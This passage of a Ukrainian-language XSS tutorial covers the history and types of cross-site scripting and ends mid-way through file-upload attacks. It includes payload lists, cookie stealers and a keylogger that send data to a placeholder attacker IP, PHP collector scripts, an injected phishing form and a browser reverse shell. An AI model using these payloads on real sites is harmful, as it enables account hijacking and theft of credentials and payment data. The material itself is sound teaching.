Close
KR. LABORATORIES
IT RESEARCH & DEVELOPMENT LABS
 UK EN
Mastodon Twitter Linkedin

Великий гайд по XSS. Міжсайтовий скриптинг: атаки і захист

Існує думка, що шлях у хакінг розпочинається з першої XSS-вразливості. Поки не знайшов XSS, можна сказати, що ти ще не справжній хакер. І це не перебільшення! Оскільки XSS є фундаментом у світі веб-атак. За виявлення XSS в Bug Bounty платять чималі винагороди. Для початківців це є своєрідним “ритуалом посвяти” — після XSS приходить усвідомлення, що ти можеш впливати на роботу веб-додатків та отримувати контроль над ними. Це своєрідна магія, яка відкриває двері до глибшого розуміння кібербезпеки й методів проведення атак. У цій статті я детально розгляну природу XSS, опишу їх типи, а також традиційно надам усі відомі мені методи/тактики нападу і захисту. Що ж, стань XSS-асасіном, читач. Вперед!

Зміст статті

Що таке міжсайтовий скриптинг? Історія XSS.

Cross-Site Scripting (XSS) — це тип веб-атаки, при якій зловмисник впроваджує шкідливий скрипт (Java Script, ActiveX, VBScript, HTML etc.) на веб-сторінку, що потім виконується у браузері жертви. Атака маніпулює довірою користувача до веб-ресурсу, дозволяючи зловмиснику через шкідливе навантаження (payload) перехоплювати дані, отримувати доступ до даних користувача, здійснювати несанкціоновані дії або перенаправляти користувача на шкідливі ресурси.

Розпочалося усе у 1995 році, коли дві американські ІТ-компанії Netscape Communications та Sun Microsystems представили LiveScript 1.0. Це була скриптова мова програмування, заснована на базі фреймовка Mocha (Брендон Айх) та мови Java (Sun Microsystems). Вона дозволяла створювати перші веб-сторінки і у подальшому була інтегрована в інтернет-браузер Netscape Navigator. Нова модифікація отримала назву – JavaScript.

Перші XSS-вразливості в JavaScript були виявлена десь в середині-кінці 1990-х років. У 1997 році Ralf Hueskes з Jabadoo Communications проводячи тестування безпеки браузера Internet Explorer 4.0 для журналу CT Magazine, виявив, що з допомогою шкідливого JS-коду, інтегрованого у веб-сторінку, можна переглядати вміст будь-яких текстових і HTML-файлів на чужому локальному комп’ютері. Шкідливий код вступає в дію, якщо користувач відкриває сторінку або отримує електронний лист з URL-адресою, яка містить прихований параметр.

Офіційно XSS почали широко обговорювати у 1999 році, коли він був описаний дослідником Девідом Россом як тип вразливості в стандарті CERT CA-2000-02. Це одна з перших задокументованих Cross-Site-Scripting вразливостей.

Активну участь у виявленні XSS прийняв дослідник комп’ютерної безпеки з Болгарії – Георгій Гунинський. Йому належить відкриття “Cross-Window Attack” у 1999 році. Ця атака дозволяла маніпулювати фреймами, виводити в них вкрадений контент або шкідливий сценарій. Загалом, дослідник виявив чимало “cross-site bugs” в браузерах Netscape та Internet Explorer.

Абревіатура “XSS” – Cross-Site-Scripting (міжсайтовий скриптинг) була введена роком пізніше – у 2000 році компанією Microsoft. Щоб уникнути плутанини з іншою широко відомою абревіатурою “CSS” – Cascading Style Sheets (каскадні таблиці стилів), вони навмисно змінили першу літеру на “X”.

Повідомлення на порталі Microsoft MSDN.com про 10-річчя Міжсайтового скриптингу, 2009 рік. Текст закінчується фразою: “Сподіваємося через 10 років ми будемо святкувати смерть, а не народження XSS!”.

Від того часу дослідники безпеки почали активно досліджувати JavaScript та виявляти різні види Cross Site Scripting вразливостей. XSS умовно поділили на 2 типи – Reflected XSS (Відображені, непостійні) та Stored XSS (Збережені, сталі). У 2005 році дослідник безпеки веб-додатків Amit Klein у своїй фундаментальній статті згадав про новий, третій тип XSS – DOM-інтегровані.

Таким чином хакери поступово почали застосовувати усі ці вразливості на практиці:

  • 4 жовтня 2005 року соціальна онлайн-платформа MySpace постраждала від атаки XSS-хробака Samy (JS.Spacehero), створеного індійським спеціалістом Самі Камкаром. За 20 годин роботи скрипта він заразив понад мільйон профілів користувачів, що зробило його найшвидше поширюваним комп’ютерним вірусом усіх часів. Камкар був тимчасово позбавлений доступу в інтернет, засуджений на громадські роботи і отримав великі штрафи.
  • В середині грудня 2007 року платформа соціальних мереж Orkut, створена Google, була вражена надзвичайно швидко розповсюджуваним XSS-черв’яком (XSS Worm). Цей хробак розповсюджувався шляхом перегляду шкідливого повідомлення в «альбомі» жертви, яке додавало код розповсюдження і приєднував користувача до групи «інфікованих користувачів». XSS-хробак швидко розростався, інфікувавши від 300 000 до 600 000 жертв, перш ніж був видалений.
  • У 2008 році більше 70 мільйонів користувачів соцмережі Facebook зазнали XSS-атаки. Зловмисники могли викрадати облікові дані автентифікації і отримувати конфіденційну інформацію.
  • У 2009 році на платформі Twitter відбулася серія атак мережевими хробаками, спричиненими вразливістю XSS. Атаки почалися після того, як користувачі почали отримувати повідомлення, які рекламують сайт StalkDaily.com. При переході за посиланнями в цих повідомленнях користувачі атакували, і їх профілі також ставали вразливими.
  • У 2014 році XSS-атака на сайт eBay дозволила зловмисникам вкрасти особисті дані понад 145 мільйонів користувачів.
  • У 2016 році XSS-атака на сайт Yahoo дозволила зловмисникам заразити пристрої користувачів шкідливим програмним забезпеченням через електронну пошту. При відкритті листа, що надходив на пошту користувачів, код виконувався автоматично, без додаткових дій з боку користувача.
  • В 2018 році велика британська авіакомпанія British Airways зазнала атаки міжсайтового скриптингу. Причиною стала застаріла бібліотека JavaScript, яку використовував офіційний сайт компанії. Через XSS зловмисники викрали подію кліку на платіжній сторінці (clickjacking), перенаправляючи платіжну інформацію на свої сервери. Вразливість вплинула на приблизно 380 000 транзакцій.
  • В 2020 році у популярному додатку TikTok була виявлена вразливість, яка приводила до несанкціонованого доступу до акаунтів користувачів, які встановили доступ через сторонні додатки. Експлуатація здійснювалассь через комбіновану атаку XSS + CSRF.
  • У лютому 2024 року в плагіні CMS WordPress – WP Members Membership, яка була встановлена більш ніж на 60 000 сайтах, була виявлена Unauthenticated Stored Cross-Site Scripting вразливість (CVE-2024-1852), яка дозволяла неавтентифікованим користувачам через POST-запит в заголовку X-Forwared-For виконувати JavaScript-пейлоад. Після того, як цей запит пересилається на сервер, створюється обліковий запис користувача з даними, наданими зловмисником.
  • В квітні 2024 року в популярній CMS WordPress версії 6.0 виявили серйозну вразливість у блоці Avatar (CVE-2024-4439). Якщо аватар виводився на сторінці коментарів або на сторінці архіву записів автора, то автентифіковані і неавтентифіковані користувачі могли проексплуатувати XSS, вставивши у формі додавання нового коментаря замість ім’я пейлоад " onmouseover=alert(/XSS/); //. При умові, що відключена модерація і немає фаєрволу. Більше інфо про вразливості WordPress>>

Станом на 2024 рік, XSS входить в десятку найрозповсюдженіших атак і вразливостей в веб-додатках. У 2017 році він посів 7 місце в списку OWASP TOP 10, а у версії 2021 року Cross Site Scripting об’єднали в категорію Injection, що займає 3 місце. Як бачимо, атаки XSS не лише не втратили своєї актуальності, а й стали ще небезпечнішими.

Типи міжсайтового скриптингу

Reflected XSS

Reflected XSS (відображені XSS) — це тип непостійної XSS-атаки, яка виконується на стороні браузера користувача. Вразливий сайт отримує введені дані (наприклад, через URL або форму), обробляє їх і негайно відображає у відповідь без належної перевірки. Внаслідок цього шкідливий код, впроваджений зловмисником, відображається та виконується у браузері жертви під час відвідування відповідного URL або іншої маніпуляції з введеними даними.

Як працює Reflected XSS? Схема атаки.

Маємо цільовий веб-сайт, який обслуговує веб-сервер на базі PHP/Java Script. Він складається з компонента, у вихідному коді якого використовується змінна $_GET['name'] (/?name=) або будь-яка інша, яка отримує дані, передані через параметри GET-запиту в URL, наприклад:

http://example.com/?name=<script>alert('XSS')</script>

Якщо ці вхідні дані відправлені користувачем НЕ ПЕРЕВІРЯЮТЬСЯ сервером – запит буде успішно виконано й вони будуть ВІДОБРАЖЕНІ на веб-сторінці!

Таким чином зловмисник зможе передати шкідливий JavaScript-код через URL і він виконається на стороні браузера жертви, що й призведе до Reflected XSS.

Reflected xss in search form
Вразливість Reflected XSS у формі пошуку, яка через параметр strQuery вбудовує введені дані у HTML-документ. Хакер використав подвійні лапки та закриваючі дужки для того, щоб вийти за межі HTML-атрибута, змінити структуру документа та примусово вставити й виконати JavaScript-код.

Приклади пейлоадів

Найпростіше виконати Reflected XSS з допомогою тега script та функції alert(). Ось список корисних навантажень (пейлоадів):

  • <script>alert("XSS виявлено")</script> — виведе спливаюче вікно (popup) браузера з текстовим повідомленням;
  • <sсript>alert('1');</sсript> — виведе popup з числовим повідомленням;
  • "><script>alert(1)</script> – аналогічно попередньому, тільки тут є закриваючі лапки, які дозволяють обійти атрибути;
  • <script>alert(document.cookie)</script> — виведе popup з cookie активної сторінки;
  • <script>alert(document.URL)</script> — отримання URL-адреси сторінки;
  • <script>alert(window.location.href)</script> — ще один варіант отримання URL;
  • <script>alert(document.title)</script> — отримання заголовка веб-сторінки;
  • <script>alert(document.referrer)</script> — отримання реферрера, сторінки звідки прийшов користувач;
  • <script>alert(document.body.innerHTML)</script> — отримання вихідного коду активної сторінки
  • <script>alert(navigator.userAgent)</script> — отримання User-Agent;
  • <script>alert(new Date())</script> — отримання поточного часу та дати;
  • <script>alert(document.links.length)</script> — виведення кількості посилань на сторінці;
  • <script>alert(document.images[0].src)</script> — отримання адреси першого зображення на сторінці;
  • <script>alert(document.forms[0].action)</script> — отримання URL-адреси на яку відправляються дані форми;
  • <script>alert(document.body.style.backgroundColor='red')</script> — зміна кольору фону на сторінці (дефейс);
  • <script>alert(document.body.innerHTML = 'Сторінку зламано!')</script> — зміна вмісту на сторінці на вказаний (дефейс);
  • <script>alert(document.images[0].src = 'https://example.com/hacked.png')</script> — зміна першого зображення на сторінці на вказане (дефейс);
  • <script>alert(document.body.style.border = '5px solid red')</script> — зміна першого зображення на сторінці на вказане (дефейс);
  • <script>alert(document.querySelectorAll('a').forEach(a => a.style.color = 'red'));</script> — зміна кольору усіх посилань на сторінці (дефейс);
  • <script>alert(document.getElementsByTagName('input')[0].value = 'Введення змінено');</script> — зміна значення першого текстового поля на сторінці (дефейс);
  • <script>alert(document.title = 'Сайт зламано!');</script> — зміна заголовка на сторінці (дефейс);
  • <script>alert(document.write('<h1>Зламано!</h1>'));</script> — зміна заголовка на сторінці (дефейс)

Останнім часом багхантери замість функції alert() використовують confirm(). Вона діє аналогічно, однак у спливаючому вікні додатково з’являється кнопка OK, таким чином вікно стає діалоговим.

Ви можете самі наочно переконатися як технічно працюють усі ці функції, просто ввівши їх у консолі свого браузера:

Дуже часто Reflected XSS спрацьовують через використання таких HTML-елементів як IMG та SVG:

// IMG XSS Payloads
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert("XSS")>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(/Stored_XSS/)>
<img src="fakeSrc" onerror="alert(document.cookie)"/>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert('XSS')>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
</h1><image/src/onerror=alert(document.cookie)>
// SVG XSS Payloads
<svg/onload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg onload=confirm(1)>
"><svg/onload=alert('xss')>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)

При пошуку та виявленні XSS, окрім onerror та onload, також варто звертати увагу і на інші обробники подій (event handlers). Наприклад:

  • onclick — викликається при натисканні на елемент;
  • onmouseover — викликається, коли користувач наводить курсор на елемент;
  • onmouseout — викликається, коли курсор покидає елемент;
  • onfocus — викликається, коли елемент (наприклад, текстове поле) отримує фокус;
  • onblur — викликається, коли елемент втрачає фокус;
  • onkeydown — викликається при натисканні клавіші на клавіатурі;
  • onkeypress — викликається при натисканні клавіші, яка викликає символ;
  • onkeyup — викликається при відпусканні натиснутої клавіші;
  • onsubmit — викликається при відправці форми;
  • onchange — викликається при зміні значення елемента, наприклад, у текстовому полі або випадаючому списку;
  • oninput — викликається, коли користувач вводить текст у поле введення;
  • onreset — викликається, коли форма скидається;
  • onresize — викликається, коли вікно браузера змінює розміри;
  • onscroll — викликається при прокручуванні елемента або сторінки;
  • ondblclick — викликається при подвійних кліках на елемент;
  • oncontextmenu — викликається при відкритті контекстного меню (правий клік миші);
  • onmouseenter — викликається, коли курсор миші потрапляє на елемент (без спливаючих подій);
  • onmouseleave — викликається, коли курсор покидає елемент (без спливаючих подій);
  • onpointerdown — викликається, коли відбувається натискання пальцем або стилусом на сенсорному пристрої;
  • onpointerup — викликається, коли користувач припиняє доторкання або натискання на сенсорному пристрої;
  • onplay — викликається, коли відтворюється відео або аудіо. Може використовуватись для XSS разом із атрибутом autoplay;
  • onplaying — викликається, коли починається або відновлюється відтворення відео або аудіо. Може використовуватись із autoplay для 0-click атак;
  • oncanplay — викликається, коли відео або аудіо готове для відтворення, але може ще завантажуватися. Потрібне посилання на дійсний відео/аудіо файл;
  • onloadeddata — викликається після того, як дані відео або аудіо повністю завантажуються. Потрібне посилання на дійсний відео/аудіо файл;
  • onloadedmetadata — викликається, коли метадані (наприклад, тривалість) відео або аудіо завантажуються. Потрібне посилання на дійсний відео/аудіо файл;
  • onprogress — викликається, коли завантажуються нові дані відео або аудіо. Потрібне посилання на дійсний відео/аудіо файл;
  • onloadstart — викликається на початку завантаження відео або аудіо. Вважається хорошим вектором для 0-click атак;
  • oncanplaythrough — викликається, коли відео або аудіо може бути відтворене до кінця без буферизації. Потрібне посилання на дійсний відео/аудіо файл.

Ще одним дієвим способом викликати Reflected XSS є метод URI-схеми javascript:. Це специфічний формат URL, який дозволяє виконувати JavaScript-код безпосередньо через адресний рядок браузера або через певні атрибути HTML, такі як href у тегах посилань:

  • javascript:alert(1)
  • javascript:alert(document.domain)
  • javascript:alert(document.cookie)
  • JavaScript://%250Aalert?.(document.domain)//
  • javascript:alert(1)//INJECTX

Частенько їх “ловлять” в редиректах:

Stored XSS

Stored XSS (Збережені XSS) — це тип постійної XSS-атаки, при якій шкідливий код впроваджується в вебсайт і зберігається на сервері у вигляді частини контенту (наприклад, у базі даних). Шкідливий код виконується щоразу, коли сторінка з цим контентом завантажується, що робить атаку постійною і небезпечною. Уразливість цього типу може виникати в областях, де користувачі можуть вводити дані, як-от коментарі, профілі, форуми або повідомлення.

Як працює Stored XSS? Схема атаки.

Маємо цільовий веб-сайт, який обслуговує веб-сервер на базі PHP/Java Script. На ньому є форма коментарів, де вхідні дані не перевіряються. Також дозволені HTML-теги. Модерації немає – кожен відвідувач може додавати нові коментарі.

Зловмисник бере цю форму і замість замість звичайного тексту вводить шкідливий JavaScript-код. Сервер зберігає його у базі даних або іншому місці без належної перевірки та екранування даних. Шкідливий код стає частиною контенту на веб-сайті і автоматично спрацьовує у браузері жертв, коли вони відвідують цільову сторінку.

Приклади пейлоадів

  • <button onclick="alert(document.cookie)">Отримати подарунок</button> — при натисканні на кнопку відображає спливаюче вікно з числом “1”;
  • <script>prompt(111)</script> — коли сторінка завантажується відображає спливаюче вікно із запитом на введення тексту, може використовувати для збору облікових даних;
  • <a href="javascript:alert(1)">Тисни!</a> — спрацьовує при натисканні на посилання;
  • <a href="javascript:alert(document.domain)">Тицяй ту!</a> — при натисканні на посилання відкриється спливаюче вікно (alert), у якому буде показано домен сайту, на якому знаходиться сторінка
  • <div onmouseover="alert(document.title)">Наведи курсор</div> — працює через атрибут onmousover, що запускає скрипт при наведенні на елемент.

DOM-based XSS

DOM-based XSS (DOM-інтегровані XSS) — це тип атаки, де шкідливий код впроваджується безпосередньо в Document Object Model (DOM) — деревоподібну структуру HTML-документа, яка відображає сторінку в браузері. Її відмінністю є те, що вона взагалі не потребує взаємодії з сервером. Шкідливий код виконується на стороні браузера (client side), використовуючи вразливості / недоліки вихідного коду цільової сторінки.

Як працює DOM XSS? Схема атаки.

Хакер переходить на цільову веб-сторінку й відразу переглядає джерело (source view), щоб прочитати структуру вихідного коду (ось чому варто стискати її і робити якомога важчою для прочитання). У ній він знаходить потенційні фрагменти JavaScript, вразливі до DOM XSS.

Для експлуатації найчастіше пригодні функції JavaScript, які розділяють на 2 типи – sources і sinks.

Sources (джерела) – це місця, з яких браузер отримує дані, що можуть бути небезпечними, якщо їх неправильно обробляти:

  • document.URL
  • document.documentURI
  • document.URLUnencoded
  • document.baseURI
  • location
  • document.cookie
  • document.referrer
  • window.name
  • history.pushState
  • history.replaceState
  • localStorage
  • sessionStorage

Sinks (сінки) – це місця в DOM або JavaScript, куди потрапляють небезпечні дані з “sources”. Якщо ці дані використовуються без належної перевірки або фільтрації, вони можуть призвести до виконання шкідливого коду:

  • document.write()
  • document.writeln()
  • document.body.innerHTML
  • document.forms[0].action
  • document.location.replace
  • document.location.assign
  • document.open
  • window.open
  • window.location.href
  • window.execScript
  • window.setInterval
  • window.setTimeout 
  • window.innerHTML
  • eval
  • WebSocket()
  • element.src
  • postMessage()
  • setRequestHeader()
  • FileReader.readAsText()
  • ExecuteSql()
  • sessionStorage.setItem()
  • document.evaluate()
  • JSON.parse()
  • element.setAttribute()
  • RegExp()

Зловмисник через параметр URL (наприклад, GET) вставляє шкідливий сценарій і він потрапляє в DOM-структуру веб-сторінки. Далі він зможе використати цю вразливість для несанкціонованих дій. Наприклад, формує шкідливий URL і відправляє жертві по email або в месенджер. Та переходить по посиланню й скрипт JavaScript, вбудований в DOM, виконується в браузері жертви без будь-якої взаємодії збоку сервера.

DOM структура
Приклад найпростішої DOM-структури HTML-документа
Приклад DOM based XSS
Приклад експлуатації вразливості DOM based XSS. Хакер додає шкідливий скрипт <script>alert("XSS")</script> в get-параметр URL ?name, який відповідає за виведення імені користувача на сторінці. Скрипт без жодної перевірки успішно потрапляє в DOM-структуру документа, зокрема в тег тіла <BODY> (з’являється новий дочірній тег <script>). У висновку шкідливий XSS-сценарій виконується – браузер виводить спливаюче вікно з заданим хакером текстом. В даному прикладі вразливою точкою стала функція Java Script – document.write.

Чим небезпечні XSS? Приклади реальних атак.

Дисклеймер: Усі нижченаведені атаки дозволено проводити лише на начальних машинах й в освітніх цілях з метою покращити кібербезпеку та підвищити свої знання. 

Що ж, давайте на практиці переконаємося в прихованій силі XSS.

Деякі розробники скептично ставляться до XSS, мовляв:”Ну виводиться віконечко, ну то й що??”. На їх думку, це не вразливість веб-додатка, а вразливість користувачів, які забувають про свою безпеку, користуючись застарілими браузерами, які не підтримують політику SOP (Політика одного джерела, Same Origin Policy).

Насправді, політика SOP дійсно є важливою, але сама позиція є помилковою, адже XSS (Cross-Site Scripting) виникає не по вині браузерів, а у першу чергу по вині розробників, які часто-густо халтурять з вихідним кодом й не приділяють належної уваги валідації, фільтрації, санітизації і екрануванню даних!

До того ж, XSS-атаки можуть бути націлені не лише на користувачів, вівідувачів сайтів, а й їх адміністраторів теж. До слова, більшість великих компаній зламувалися саме через міжсайтовий скриптинг. За статистикою Wordfence, XSS-атаки на сьогодні складають близько 47% всіх атак на веб-додатки.

Власне, давайте почнемо. Я доведу вам, що XSS це небезпечно.

Атака №1. Захоплення cookie через XSS-стилер

Найпростіша атака XSS. Хто не знає, що таке стилер – коротко поясню. Це скрипт для крадіжки конфіденційної інформації.

Хакер знаходить в інтернеті вразливий сайт на дірявому сервері, із застарілими компонентами, без SSL, без Cloudflare та інших засобів кіберзахисту. На сайті доступна форма коментування, причому без модерації, допускає HTML-код і не фільтрує символи.

Хакер публікує новий коментар з XSS-скриптом, який автоматично перехоплюватиме кукі кожного відвідувача цієї сторінки, включаючи адміністратора, й відправлятиме на його приватний сервер за вказаною IP-адресою:

<script>fetch('http://XX.XXX.XX.XX/log.php?cookie=' + btoa(document.cookie));</script>

або

<img src="x" onerror="fetch('http://XX.XXX.XX.XX/log.php?cookie=' + encodeURIComponent(document.cookie));">

Вище представлені 2 різних пейлоади є типу Stored XSS і їх можна застосовувати в різних ситуаціях та адаптувати під обставини. Перший використовує тег <script>, вміст якого зникає після публікації. Другий – тег <img>, який опублікує неіснуючу картинку (можна використати й однопіксельну). Обидва застосовують такі функції:

  • fetch — це сучасний вбудований JavaScript API, який дозволяє робити асинхронні HTTP-запити (GET, POST і т.д.) з браузера до сервера. Це потужна і зручна альтернатива застарілій технології XMLHttpRequest (XHR). Вона використовується для отримання або відправлення даних на сервер, наприклад, для завантаження ресурсів, відправки форм, обміну даними з сервером у форматі JSON або для інших веб-операцій;
  • encodeURIComponent — ця функція кодує захоплені через document.cookie кукі й передає як GET-параметри в URL (/?log.php?cookie=document.cookie), щоб їх можна було безпечно передати на сторонній сервер.

До речі! Можна також провести і Reflected DOM-інтегровану XSS атаку, створивши і відправивши жертві ось такий URL:

https://example.com/vuln/?name=<script>new
Image().src="http://XX.XXX.XX.XX/log.php?cookie="+document.cookie;</script>

У цьому випадку на сайті створиться новий DOM-об’єкт у вигляді зображення Image.

У всіх трьох сценаріях, після виконання шкідливого скрипта, захоплені cookie через URL відправляються на сторонній сервер, де обробляються файлом log.php й зберігаються в cookies.txt у зашифрованому Base64 форматі.

Сервер являє собою звичайний Ubuntu VPS на базі Apache + PHP, ось скрипт його розгортання:

sudo apt update && sudo apt upgrade -y
sudo apt install apache2 -y
sudo apt install php libapache2-mod-php
sudo systemctl restart apache2
cd /var/www/html
touch log.php && touch cookies.txt
sudo chmod 777 cookies.txt
sudo chown -R www-data:www-data /var/www/html
sudo chmod -R 755 /var/www/html

Вміст log.php можна переглянути тут.

Щоб подивитись, що “наловив” стилер, хакер виконує:
cat cookies.txt

Можна також перевірити логи доступу до сервера, щоб запевнетись, що все працює нормально:
sudo tail -f /var/log/apache2/access.log

Іноді зловмиснику і цього достатньо. Він може подивитися в логи і не створювати log.php.

Розшифрувати отримані кукі можна стандартною командою:
echo "xxxxxxxxxx" | base64 --decode

Або ж скористатися онлайн-сервісом: https://www.base64decode.org

Як хакер використає вкрадені кукі? Він може накопичувати їх й продавати в даркнеті. А може скористатись ними й використати для несанкціонованого доступу до облікового запису жертви. Особливо, якщо це сесійні кукі (session cookies).

Хакер в такому випадку просто бере їх і вставляє у свій браузер, і вуаля – перехоплює сесію й автоматично авторизується без логіна і пароля! Може сидіти одночасно в акаунті з жертвою, поки вона не вийде з нього або не скине свої cookie. Або ж він сам відразу змінить пароль й тоді це буде вважатися зламом.

Вставка cookies в браузер
Хакер через панель розробника в браузері Mozilla Firefox вставив викрадені через XSS сесійні кукі й отримав сесію користувача – автоматично увійшов в акаунт жертви. Це стало можливим завдяки відсутності атрибутів HttpOnly та Secure для файлів cookie на стороні атакованого сайту.

Все залежить від фантазії, навичок та поставлених задач хакера.

Однак, цей спосіб реалізації XSS можна використати і для різних інших цілей/задач. Наприклад, для деанонімізації зловмисників.

Ну що, страшно? Йдем далі.

Атака №2. Дефейс і захоплення облікових даних з допомогою Reflected XSS

Більш різноманітна атака, спрямована на кмітливість і креатив.

Хакер знаходить XSS-вразливість на одному з сайтів. На ньому відкрита реєстрація і сидять чимало дописувачів. Однак, виявилося, що адмін забив на сайт. Він давно не оновлювався й в одному з плагінів GET-параметр напряму приймає та відображає вхідні дані без перевірки. WAF (Web Application Firewall) теж відсутній. Отже, є повний простір і свобода дій.

Хакер довго не думаючи, вирішує цим скористатися і експлуатує Reflected XSS. В результаті у нього виходить шкідливий скрипт, який він через параметр URL інтегрує у тіло документа. Йому вдається провести дефейс сайту (зміна зовнішнього вигляду або підміна веб-сторінки) та створити фейкову форму авторизації.

Скрипт виглядає приблизно так:

Хакер закодовує шкідливий скрипт з допомогою відсоткового кодування (percent encoding) в одне велике посилання й відправляє жертві на email у вигляді текстового посилання (анкору). Він представляється Адміністратором та обманом змушує жертву перейти по ньому:

http://example.com/index.php?name=<h3>Please login to proceed</h3> <form action=http://XX.XXX.XX.XX>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>

Жертва довіряє повідомленню, адже лист виглядає переконливо. Хакер попередньо провів профайлінг (психологічний портрет), вивчив жертву й зіграв на її патріотичних почуттях. Людина регулярно відвідує цей сайт і бачить знайомий домен у полі “From”. Тому не підозрює, що за “Адміністратором” ховається хакер, який застосовує техніку email spoofing. А за анкором – “смертельний” XSS.

Якби хтось подивився в MAIL-заголовки, то побачив би, що насправді  повідомлення прийшо з зовсім іншого домена і сервера… Але це вже інша історія.

Отже, жертва спокійно собі переходить за посиланням й бачить веб-сторінку, де їй пропонують прийняти участь в цікавому опитуванні, але доступ нібито закритий – треба ввести логін та пароль. Звичайно, вона вводить їх і її редиректить на справжню сторінку авторизації. А тим часом credentials (облікові дані) вже “полетіли” на сервер, який контролює хакер. Облікові дані опиняються в нього.

Жертва же через оригінальну форму входить на сайт і нічого не розуміє: “Якийсь глюк… Мабуть, кеш почистити треба….”.

Але хакер починає підбирати її пароль до інших акаунтів. Жертва не подумала й використовувала його для всіх облікових записів в інтернеті!

Одного дня хакер просто змінить пароль і людина втратить доступ до всіх своїх акаунтів.

Ось така повчальна притча!

Атака №3. XSS-кейлогер з викраденням платіжних даних з допомогою Reflected XSS

Одна з найнебезпечніших атак. Її у свій час активно експлуатували шахраї на платформі OLX, коли там були вразливості.

На одному із сайтів інтернет-журналів хакер знайшов самописну форму оплати. Він побачив, що вона використовує небезпечний параметр і вразлива до міжсайтового скриптингу.

Знову проексплуатувавши вразливість MAIL-сервера цільового ресурсу, застосувавши email-спуфінг, він відправляє жертві нібито легітимного листа у якому повідомляє від імені Адміністратора: “Вітаємо! Ви отримали знижку на оформлення підписки за промокодом: free24. Вона діє 8 годин. Промокод доступний за посиланням…”.

Шкідливе URL-посилання приховане з допомогою анкора, воно містить шкідливий скрипт XSS-кейлогера:

<script type="text/javascript">
var l = "";
document.onkeypress = function (e) {
l += e.key;
console.log(l);

var req = new XMLHttpRequest();
req.open("POST","http://XX.XXX.XX.XX/keylog.php", true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.send("data=" + l);
}
</script>

Отже, жертва довіряє email-листу і переходить за посиланням:

http://emaple.com/index.html?promo=%3Cscript%3Evar%20l=%22%22;document.onkeypress=function(e)%7Bl+=e.key;var%20req=new%20XMLHttpRequest();req.open(%22POST%22,%22http://XX.XXX.XX.XX/keylog.php%22,true);req.setRequestHeader(%22Content-type%22,%22application/x-www-form-urlencoded%22);req.send(%22data=%22+encodeURIComponent(l));%7D%3C/script%3E

Скрипт відразу виконується, а жертва бачить платіжну форму з введенням конфіденційних даних. Коли вона починає натискати будь-які клавіші на клавіатурі, спрацьовує шкідливий скрипт-кейлоггер, який відправляє через функцію XMLHttpRequest POST-запит з введеними даними на хакерський сервер за адресою: http://XX.XXX.XXX.XXX/keylog.php.

keylog.php – це обробник клавіш клавіатурпи, отримані дані записує в файл log.txt. Ось приклад його вихідного коду:

<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: POST");
header("Access-Control-Allow-Headers: Content-Type");

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$data = $_POST['data'] ?? '';
file_put_contents('log.txt', $data . PHP_EOL, FILE_APPEND);
echo 'Data saved';
} else {
echo 'Invalid request';
}
?>

Таким чином хакер відкриває файл log.txt і бачить ведені жертвою конфіденційні дані. Вони можуть записуватися в один рядок, або сортуватися відповідно до текстових полів:

Існує безліч модифікацій і реалізацій цього XSS-кейлогера. В тому числі через DOM-based та Blind Stored XSS. У деяких випадках можна навіть отримати скріншот цільової сторінки. Все залежить від потреб, умінь та кваліфікації хакера.

Атака №4. Компрометація браузера користувача через XSS Shell

Цей вектор атаки передбачає використання вразливості XSS для отримання віддаленого доступу до браузера жертви. В основі атаки лежить впровадження зловмисного JavaScript-коду у вебсторінку, яку переглядає жертва. Коли жертва відкриває URL-посилання вразливої сторінки зі вставленим XSS-пейлоадом, шкідливий JS-код виконується в браузері, розгортаючи reverse shell.

Ця атака особлива тим, що націлена саме на браузер користувача, а не сервер. У результаті, атакуючий отримує можливість взаємодіяти з браузером, виконувати різноманітні команди JavaScript в консолі (див. вище). Це може включати викрадення cookies (авторизаційних даних), перенаправлення на фішингові сторінки, виконання будь-яких скриптів і багато іншого.

В інтернеті є чимало скриптів для експлуатації цієї атаки (1, 2, 3). Ми використаємо більш просунутий варіант на базі Python під назвою JSshell.

Отже, хакер клонує git-репозиторій JSshell на свій сервер, відкриває на сервері бажані мережеві TCP-порти і запускає скрипт на прослуховування:

python3 jsh.py -p 4849 -g

У відповідь скрипт надасть XSS-пейлоад, який хакер вставляє в URL і “підсовує” жертві. Жертва переходить по шкідливому посиланню, reverse shell вступає в дію і на хакерському сервері відкривається оболонка командного рядка з підсвіткою IP-адреси жертви, яка дозволяє отримувати дані браузера жертви, працювати з ними, дистанційно керувати браузером:

XSS Shell example attack
Через XSS Shell хакер виконує команду alert в браузері жертви.

Приклади команд, які можна виконати в оболонці:

  • alert('you are hacked'); – виведення спливаючого вікна з повідомленням у браузері жертви через функцію alert();
  • window.location = "http://example.com"; – редирект жертви на інший сайт;
  • var img = new Image(); img.src = "http://XX.XX.XX.XX/?cookie=" + encodeURIComponent(document.cookie); – викрадення cookie і відправка на сервер хакера через GET-запит;
  • var img = new Image(); img.src = "http://XX.XX.XX.XX/?url=" + encodeURIComponent(window.location.href); – отримання URL-адреси веб-сторінки, на якій знаходиться жертва і відравка через GET на сервер хакера;
  • fetch("http://XX.XX.XX.XX/?userAgent=" + encodeURIComponent(navigator.userAgent)); – отримання User-Agent жертви.

Атака №5. XSS File Upload Attack

Якщо сервер не реалізує адекватну перевірку типів файлів та їх вмісту, не проводить пост-обробку, тоді з’являється можливість проекспалуатувати XSS через завантаження файлу – XSS File Upload Attack.

Існує декілька векторів, як саме це може бути реалізовано:

1. XSS через назву файлу (filename)

Хакер знаходить веб-сайт з реєстрацією користувачів. Він створює обліковий запис і заходить у редагування профілю, де бачить форму завантаження аватару (світлини облікового запису). Далі він створює файл з назвою, яка містить шкідливий JavaScript-код:

